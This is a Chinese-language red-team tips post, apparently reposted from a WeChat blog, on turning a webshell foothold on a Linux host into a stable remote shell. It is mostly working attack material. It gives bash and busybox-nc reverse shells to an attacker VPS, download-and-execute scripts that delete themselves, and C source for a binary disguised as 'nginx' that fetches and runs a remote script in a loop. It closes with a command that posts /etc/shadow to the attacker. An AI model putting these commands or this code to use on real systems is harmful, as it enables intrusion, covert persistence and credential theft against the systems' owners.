[红队TIPS]Linux下载文件执行脚本
2022-7-14 18:31:7 Author: 白帽兔(查看原文) 阅读量:10 收藏

前言

有没有遇见过这种情况,我们在渗透的过程中,遇见的bash无法执行怎么办,或者目标机器没有nc怎么办,再或者,等等一系列原因导致你无法利用。这里就给大家准备几个脚本,改一改就行了

实战环境

目标机器:Debian系统,内存马已经执行 内存马传送门

我的环境:unbantu

首先,内存马的shell非常不好用,没办法提供正常的交流,但又无法直接弹bash,原因是内存马无法执行拼接命令 ,nc那是想都不用想了,目标机器都没装。

思路1:

利用内存马的进程注入特性,也算是个小的持久化。然后在我的服务器编写一个脚本命令为1 ,脚本的内容是bash反弹,并且删除原脚本,在利用内存马让目标机器去请求执行。

VPS脚本1:

bash -i >& /dev/tcp/x.x.x.x/8989 0>&1 &
rm $0 #删除当前这个脚本

VPS记得把脚本1用Python起个服务挂起来

python3 -m http.server 80

VPS上nc开启监听

nc -lvp 8989

目标机器内存shell执行:

curl http://x.x.x.x/1 -o /tmp/1
/bin/bash /tmp/1 #建议放到临时目录

这时候在查看vps上的bash回连nc8989端口看看是否成功

思路2:

这个时候奥,你发现,目标机器竟然禁用bash!!!或者说bash回链的权限非常低,这个时候,怎么办呢?我们采用nc链接,可是目标机器并没有安装nc,所以这时候我们用到一个工具 busybox ,他集成了linux常用命令和工具。

自己先在VPS上把这busybox下载下来

自己服务器先下载并且也一样用python挂在起来
wget https://busybox.net/downloads/binaries/1.20.0/busybox-x86_64
python3 -m http.server 80

VPS脚本2:

这个脚本2也要放到同级目录下并与busybox一起映射到80服务上

if [ ! -f /tmp/busybox ];then  #判断当前机器tmp目录是否以安装busyboxwget http://x.x.x.x/busybox-x86_64 -O /tmp/busybox  #从VPS80端口下载busybox 到tmp目录并取名busyboxchmod +x /tmp/busybox # 添加一个执行权限fi/tmp/busybox nc x.x.x.x 9999 -e /bin/bash &  #用nc连接 9999端口sleep 2  #延迟时间最好不要动rm /tmp/busybox  #删除busyboxrm $0  #删除当前脚本

VPS上 nc开启监听

nc -lvp 9999

目标内存shell执行:

让目标机器从我们VPS上下载脚本2并且执行脚本2的内容并且回弹nc

curl http://x.x.x.x/2 -o /tmp/2
/bin/bash /tmp/2

检查nc的回连状况,从自己开放的80端口看看目标机器是否下载

思路3:

这时候,你又发现,这特么的,你用nc也好,用bash也好,回连的都被kill掉了,进程摆在那里,你又没得办法,并且,每次都这样操作很麻烦,没办法持久化,那么,接下来就得让你们开开眼了。

首先我们弃用python开启服务,因为不确定因素太多,我们就采用nginx就行了。

把脚本放到nginx的/var/www/html 下

VPS3脚本,放进html目录下

if [ ! -f /tmp/busybox ];then  #判断当前机器tmp目录是否以安装busyboxwget http://x.x.x.x/busybox-x86_64 -O /tmp/busybox  #从VPS80端口下载busybox 到tmp目录并取名busyboxchmod +x /tmp/busybox # 添加一个执行权限fi/tmp/busybox nc x.x.x.x 443 -e /bin/bash &  #用nc连接 443端口sleep 2  #延迟时间最好不要动rm /tmp/busybox  #删除busyboxrm $0  #删除当前脚本

autobash.c 编译好后用python开启7878端口映射出去

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>  #include<sys/prctl.h>  
int main(int argc, char* argv[]){ char *name = "nginx "; #这里是启动后进程的名称,可以修改我这里修改成nginx不容易办发现 strcpy(argv[0], name); prctl(PR_SET_NAME, name);
while(1) { system("cd /tmp;wget -T 10 -O- http://x.x.x.x/3|bash &"); # sleep(3600); #这里是时间3600秒一个小时回连一次 }
return 0;}

开始编译autobash.c

apt -y install gcc #安装编译环境
gcc autobash.c -o autobash -static
strip -s autobash
mkdir au #新建文件夹
mv ./autobash /au #放进au文件夹里
python3 -m http.server 7878 #把au文件夹映射到80端口

开启监听

nc -lvp 443

内存shell执行以下命令

curl http://x.x.x.x:7878/autobash -o /tmp/autobash  #保存到/tmp目录里
chmod +x /tmp/autobash
/bin/sh /tmp/autobash & #启动脚本

当autobash执行起来后,每隔1个小时会立刻请求VPS3脚本并且执行。

查看VPS里nginx下载情况

tail /var/log/nginx/access.log

暂时还搞不了正儿八经的持久化,搞出来了,在分享出来

其他姿势:

如果您要从服务器上转储文件,例如rootssh密钥,shadow文件等。

sudo wget —post-file = / etc / shadow 192.168.56.1:8080

攻击者的设置侦听器:nc –lvp 8080


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NzUzNzgyMw==&mid=2247485063&idx=1&sn=828de43950f0b80eadb53a1de68a6710&chksm=9036a777a7412e617b8bb6787745221217c611b01294400ec1b8072bd8e2e28f5d47e91c72c8#rd
如有侵权请联系:admin#unsafe.sh